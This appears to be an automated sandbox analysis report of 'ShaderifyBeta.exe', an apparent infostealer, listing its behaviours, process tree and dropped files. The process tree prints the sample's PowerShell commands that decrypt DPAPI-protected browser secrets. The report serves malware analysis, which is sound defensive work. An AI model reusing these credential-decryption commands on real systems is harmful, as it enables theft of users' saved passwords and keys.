Analysis

  • max time kernel
    150s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/06/2024, 01:59

General

  • Target
    ShaderifyBeta.exe
  • Size 120.4MB
  • Sample240614-ces93avdpn
  • SHA256 d898a8bd9a2bb747478d8abc4f10352ece031f99781a6d0f97b4782619982325
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1316
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4620
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4132
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4836
    • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
      "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1788,11027616919365198620,6446684934232932163,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1820 /prefetch:2
      2⤵
        PID:2412
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1788,11027616919365198620,6446684934232932163,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2068 /prefetch:8
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4820
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1788,11027616919365198620,6446684934232932163,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2340 /prefetch:2
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2440
    • C:\Windows\System32\CompPkgSrv.exe
      C:\Windows\System32\CompPkgSrv.exe -Embedding
      1⤵
        PID:5076

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 a2a15259602286af08608e9f04e1c8cfcbc2f36f62b670253f86b8307b39b5c3
            • MD5 SHA1 SHA512

            1fbf2e97-f124-403d-9f25-ec6ef71b73cd.tmp.node

            • Path C:\Users\Admin\AppData\Local\Temp\1fbf2e97-f124-403d-9f25-ec6ef71b73cd.tmp.node
            • Size 1.4MB
            • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_topdli42.ucg.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_topdli42.ucg.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/2412-41-0x00007FF9BFF50000-0x00007FF9BFF51000-memory.dmp

            memory/4620-6-0x000001505CFA0000-0x000001505CFC2000-memory.dmp

            memory/4620-16-0x000001505F3E0000-0x000001505F430000-memory.dmp